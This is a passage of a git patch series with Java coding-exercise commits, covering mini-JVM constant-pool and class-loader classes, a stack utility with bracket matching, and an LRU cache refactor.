+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..7f05870020
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+	
+	
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..402f9dec86
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..936736016f
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..f1f8eb4ed4
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..5cac9f04f7
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	
+	
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..9c9fac2839
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,5 @@
+package com.coderising.jvm.loader;
+
+public class ByteCodeIterator {
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
index e9f6541cc1..176b4af934 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -1,13 +1,15 @@
 package com.coderising.jvm.loader;
 
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
 import java.io.File;
 import java.io.FileInputStream;
-import java.io.FileNotFoundException;
 import java.io.IOException;
 import java.util.ArrayList;
-import java.util.Arrays;
 import java.util.List;
 
+import com.coderising.jvm.clz.ClassFile;
+
 
 
 public class ClassFileLoader {
@@ -15,45 +17,30 @@ public class ClassFileLoader {
 	private List<String> clzPaths = new ArrayList<String>();
 	
 	public byte[] readBinaryCode(String className) {
-		className = castClassName(className);
-		File file = null;
-		FileInputStream fis = null;
-		for(String clzPath : clzPaths){
-			file = new File((clzPath + className));
-			try {
-				fis = new FileInputStream(file);
-				byte[] bytes = new byte[2048];
-				int i = 0;
-				int sum = 0;
-				while((i = fis.read(bytes)) != -1){
-					sum += i;
-				}
-				fis.close();
-				return Arrays.copyOf(bytes, sum);
-			} catch (FileNotFoundException e) {
-				continue;
-			} catch (IOException e) {
-				e.printStackTrace();
-			}
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
 		}
-		return new byte[0];
+		
+		return null;
 	}
 	
-	private String castClassName(String className) {
-		String[] packs = className.split("\\.");
-		StringBuilder sb = new StringBuilder("/");
-		for(int i=0;i<packs.length;i++){
-			sb.append(packs[i]);
-			if(i == packs.length-1){
-				sb.append(".class");
-			}else{
-				sb.append("/");
-			}
-		}
-		return sb.toString();
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
 	}
 
 	public void addClassPath(String path) {
+		if(clzPaths.contains(path))
+			return ;
 		clzPaths.add(path);
 	}
 	
@@ -67,7 +54,45 @@ public String getClassPath(){
 		return sb.length() == 0?"":sb.substring(0, sb.length()-1);
 	}
 
-	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+	}	
 
 	
 
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..8e29f14a0c
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,44 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+
+		
+		
+
+		return null;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+		return null;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+		return null;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+
+		return null;
+	}
+
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
index 27e84b762a..91571b453e 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -5,6 +5,13 @@
 import org.junit.Before;
 import org.junit.Test;
 
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
 import com.coderising.jvm.loader.ClassFileLoader;
 
 
@@ -14,9 +21,20 @@
 public class ClassFileloaderTest {
 
 	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
 	static String path1 = "/Users/jie/Documents/git/gitRepository/coding2017/group23/1028361767/mini-jvm/bin";
 	static String path2 = "/tmp";
 	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
 	
 	
 	@Before
@@ -72,21 +90,113 @@ public void testMagicNumber(){
     
     
     
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
     
+    /**
+     * ----------------------------------------------------------------------
+     */
     
     
-	private String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
 		}
-		return buffer.toString();
-	}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+    
+   
 
 }
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/util/Util.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}

From 14c22531a258f5162917b38c141956a270e8e62e Mon Sep 17 00:00:00 2001
From: "yanght1454385822@qq.com" <yanght1454385822@qq.com>
Date: Fri, 7 Apr 2017 18:06:50 +0800
Subject: [PATCH 047/262] stack

---
 group06/1454385822/.classpath                 |   6 +-
 group06/1454385822/.project                   |   6 +
 .../coding/basic/homework_05/stack/Stack.java |  32 +++++
 .../basic/homework_05/stack/StackUtil.java    | 116 ++++++++++++++++++
 4 files changed, 159 insertions(+), 1 deletion(-)
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_05/stack/Stack.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_05/stack/StackUtil.java

diff --git a/group06/1454385822/.classpath b/group06/1454385822/.classpath
index f68e6279c1..2d8e27c1f2 100644
--- a/group06/1454385822/.classpath
+++ b/group06/1454385822/.classpath
@@ -1,8 +1,12 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <classpath>
 	<classpathentry kind="src" path="src"/>
-	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
 	<classpathentry kind="con" path="org.eclipse.jdt.junit.JUNIT_CONTAINER/4"/>
 	<classpathentry kind="lib" path="C:/Users/yanght/Downloads/dom4j-1.6.1.jar"/>
+	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.8">
+		<attributes>
+			<attribute name="owner.project.facets" value="java"/>
+		</attributes>
+	</classpathentry>
 	<classpathentry kind="output" path="bin"/>
 </classpath>
diff --git a/group06/1454385822/.project b/group06/1454385822/.project
index 35750341bb..0788dbcaef 100644
--- a/group06/1454385822/.project
+++ b/group06/1454385822/.project
@@ -5,6 +5,11 @@
 	<projects>
 	</projects>
 	<buildSpec>
+		<buildCommand>
+			<name>org.eclipse.wst.common.project.facet.core.builder</name>
+			<arguments>
+			</arguments>
+		</buildCommand>
 		<buildCommand>
 			<name>org.eclipse.jdt.core.javabuilder</name>
 			<arguments>
@@ -13,5 +18,6 @@
 	</buildSpec>
 	<natures>
 		<nature>org.eclipse.jdt.core.javanature</nature>
+		<nature>org.eclipse.wst.common.project.facet.core.nature</nature>
 	</natures>
 </projectDescription>
diff --git a/group06/1454385822/src/com/coding/basic/homework_05/stack/Stack.java b/group06/1454385822/src/com/coding/basic/homework_05/stack/Stack.java
new file mode 100644
index 0000000000..6054e19759
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_05/stack/Stack.java
@@ -0,0 +1,32 @@
+package com.coding.basic.homework_05.stack;
+
+import com.coding.basic.homework_01.ArrayList;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){	
+		elementData.add(o);
+	}
+	
+	public Object pop(){
+		if(!isEmpty()){
+			return elementData.remove(elementData.size() - 1);
+		}
+		throw new RuntimeException("Stack is Empty");
+	}
+	
+	public Object peek(){
+		if(!isEmpty()){
+			return elementData.get(elementData.size() - 1);
+		}
+		throw new RuntimeException("Stack is Empty");
+	}
+	
+	public boolean isEmpty(){
+		return elementData.size() > 0 ? false : true;
+	}
+	public int size(){
+		return elementData.size();
+	}
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_05/stack/StackUtil.java b/group06/1454385822/src/com/coding/basic/homework_05/stack/StackUtil.java
new file mode 100644
index 0000000000..d3fb5f3f08
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_05/stack/StackUtil.java
@@ -0,0 +1,116 @@
+package com.coding.basic.homework_05.stack;
+
+public class StackUtil {
+	
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static Stack  reverse(Stack s) {
+		Stack ss = new Stack();
+		while(!s.isEmpty()){
+			ss.push(s.pop());
+		}
+		return ss;
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static Stack remove(Stack s,Object o) {
+		Stack ss = new Stack();
+		while(!s.isEmpty()){
+			Object object = s.peek();
+			if(object.equals(o)){
+				s.pop();
+			}else{
+				ss.push(s.pop());
+			}
+		}
+		return reverse(ss);
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		Object[] result;
+		Stack ss = new Stack();
+		if(s.size() <= len){
+			result = new Object[s.size() + 1];
+			for(int i = 0; i < s.size(); i++){
+				result[i] = s.peek();
+				ss.push(s.pop());
+			}
+		}else{
+			result = new Object[len + 1];
+			for(int i = 0; i < s.size(); i++){
+				if(i < len){
+					result[i] = s.peek();
+				}
+				ss.push(s.pop());
+			}
+		}
+		result[result.length - 1] = reverse(ss);
+		return result;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		Stack stack = new Stack();
+		boolean flag = true;
+		char[] chars = s.toCharArray();
+		for (char c : chars) {
+			if(c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}'){
+				System.out.println(c);
+				stack.push(c);
+			}
+		}
+		Stack reStack = reverse(stack);
+		while(!stack.isEmpty()){
+			Integer i1 = (Integer) stack.pop();
+			Integer i2 = (Integer) reStack.pop();
+			
+			if(i1 != i2){
+				flag = false;
+				break;
+			}
+		}
+		return flag;
+	}
+	
+	public static void main(String[] args) {
+		Stack stack = new Stack();
+		stack.push(1);
+		stack.push(2);
+		stack.push(3);
+		stack.push(4);
+		stack.push(5);
+//		String string = "([e{d}f])";
+		String string = "([b{x]y})";
+		System.out.println(isValidPairs(string));
+//		Object[] objects = getTop(stack, 3);
+//		for(int i=0; i<objects.length - 1; i++){
+//			System.out.println((Integer)objects[i]);
+//		}
+		stack = reverse(stack);
+		stack = remove(stack, 3);
+//		stack = (Stack) objects[objects.length - 1];
+		while(!stack.isEmpty()){
+			System.out.println(stack.pop());
+		}
+	}
+	
+}
\ No newline at end of file

From 3600c5467dfbb7a86a2be6626928faaa5ea3e186 Mon Sep 17 00:00:00 2001
From: Administrator <Administrator@win-10>
Date: Sat, 8 Apr 2017 10:07:31 +0800
Subject: [PATCH 048/262] clear code

---
 .../src/org/coding/four/lru/LRUPageFrame.java | 62 +++++++++++--------
 1 file changed, 36 insertions(+), 26 deletions(-)

diff --git a/group04/498654356/one/src/org/coding/four/lru/LRUPageFrame.java b/group04/498654356/one/src/org/coding/four/lru/LRUPageFrame.java
index 1113e39e7a..8f6b187273 100644
--- a/group04/498654356/one/src/org/coding/four/lru/LRUPageFrame.java
+++ b/group04/498654356/one/src/org/coding/four/lru/LRUPageFrame.java
@@ -37,38 +37,46 @@ public LRUPageFrame(int capacity) {
 	 * @return
 	 */
 	public void access(int pageNum) {
+		Node node = findNode(pageNum);
+		if(node == null) {
+			addNode(pageNum);
+		} else {
+			moveExistNode(node);
+		}
+	}
+
+	private void moveExistNode(Node node) {
+		if(node == first) {
+			return ;
+		}
+		if(node == last) {
+			removeLastNode();
+			node.next = first;
+			first.prev = node;
+			first = node;
+			return;
+		}
+		node.prev.next = node.next;
+		node.next.prev = node.prev;
+		node.prev = null;
+		node.next = first;
+		first = node;
+	}
+
+	private void addNode(int pageNum) {
 		if(first == null) {
 			first = new Node();
 			first.pageNum = pageNum;
 			last = first;
-		} else {
-			if(isFull()) { 
-				Node node = findNode(pageNum);
-				if(node == null) { // not found
-					removeLastNode();
-					push(pageNum);
-				} else {
-					if(node == first) {
-						return ;
-					}
-					if(node == last) {
-						removeLastNode();
-						node.next = first;
-						first.prev = node;
-						first = node;
-						return;
-					}
-					node.prev.next = node.next;
-					node.next.prev = node.prev;
-					node.prev = null;
-					node.next = first;
-					first = node;
-				}
-			} else {
+		}else {
+			if(isFull()) {
+				removeLastNode();
+				push(pageNum);
+			}else {
 				push(pageNum);
 			}
 		}
-	
+		
 	}
 
 	private boolean isFull() {
@@ -91,6 +99,9 @@ private void push(int pageNum) {
 	
 
 	private Node findNode(int pageNum) {
+		if(first == null) {
+			return null;
+		}
 		if(first.pageNum == pageNum) {
 			return first;
 		}
@@ -122,7 +133,6 @@ public String toString(){
 		Node node = first;
 		while(node != null){
 			buffer.append(node.pageNum);			
-			
 			node = node.next;
 			if(node != null){
 				buffer.append(",");

From e39cc4e24cc8f9d8e52beeba32dec46b0fa5dc3a Mon Sep 17 00:00:00 2001
From: Administrator <Administrator@win-10>
Date: Sat, 8 Apr 2017 10:07:40 +0800
Subject: [PATCH 049/262] clear code

---
 .../jvm/loader/ClassFileLoader.java           | 40 +++----------------
 group04/498654356/one/pom.xml                 |  7 +++-
 2 files changed, 12 insertions(+), 35 deletions(-)

diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
index d4e0f52537..cb558c3bc4 100644
--- a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
@@ -1,13 +1,11 @@
 package com.coderising.jvm.loader;
 
-import java.io.ByteArrayOutputStream;
-import java.io.Closeable;
 import java.io.File;
 import java.io.FileInputStream;
-import java.io.IOException;
 import java.util.ArrayList;
 import java.util.List;
 
+import org.apache.commons.io.IOUtils;
 import org.apache.commons.lang3.StringUtils;
 
 
@@ -22,7 +20,7 @@ public byte[] readBinaryCode(String className) {
 		if(StringUtils.isEmpty(className)) {
 			return EMPTY_BYTES;
 		}
-		String child = className.replaceAll("\\.", "\\\\") + CLASS_SUFFIX;
+		String child = className.replace(".", File.separator) + CLASS_SUFFIX;
 		for (String parent: clzPaths) {
 			File file = new File(parent, child);
 			if(file.exists()) {
@@ -35,49 +33,23 @@ public byte[] readBinaryCode(String className) {
 	
 	private byte[] doReadBinaryCode(File file) {
 		FileInputStream fis = null;
-		ByteArrayOutputStream baos = null;
 		try {
 			fis = new FileInputStream(file);
-			baos = new ByteArrayOutputStream();
-			byte[] b = new byte[1024];
-			int len = 0;
-			while((len = fis.read(b)) > 0) {
-				baos.write(b, 0, len);
-			}
-			return baos.toByteArray();
+			return IOUtils.toByteArray(fis);
 		} catch (Exception e) {
-			new RuntimeException(e);
+			e.printStackTrace();
 		} finally {
-			close(baos);
-			close(fis);
+			IOUtils.closeQuietly(fis);
 		}
 		return EMPTY_BYTES;
 	}
 
-
-	private void close(Closeable stream) {
-		if(stream != null ) {
-			try {
-				stream.close();
-			} catch (IOException e) {
-				e.printStackTrace();
-			}
-		}
-	}
-
 	public void addClassPath(String path) {
 		clzPaths.add(path);
 	}
 	
 	public String getClassPath(){
-		StringBuilder builder = new StringBuilder();
-		for (String path : clzPaths) {
-			builder.append(path).append(";");
-		}
-		if(builder.length() > 0) {
-			builder = builder.deleteCharAt(builder.length() - 1);
-		}
-		return builder.toString();
+		return StringUtils.join(clzPaths, ";");
 	}
 	
 }
diff --git a/group04/498654356/one/pom.xml b/group04/498654356/one/pom.xml
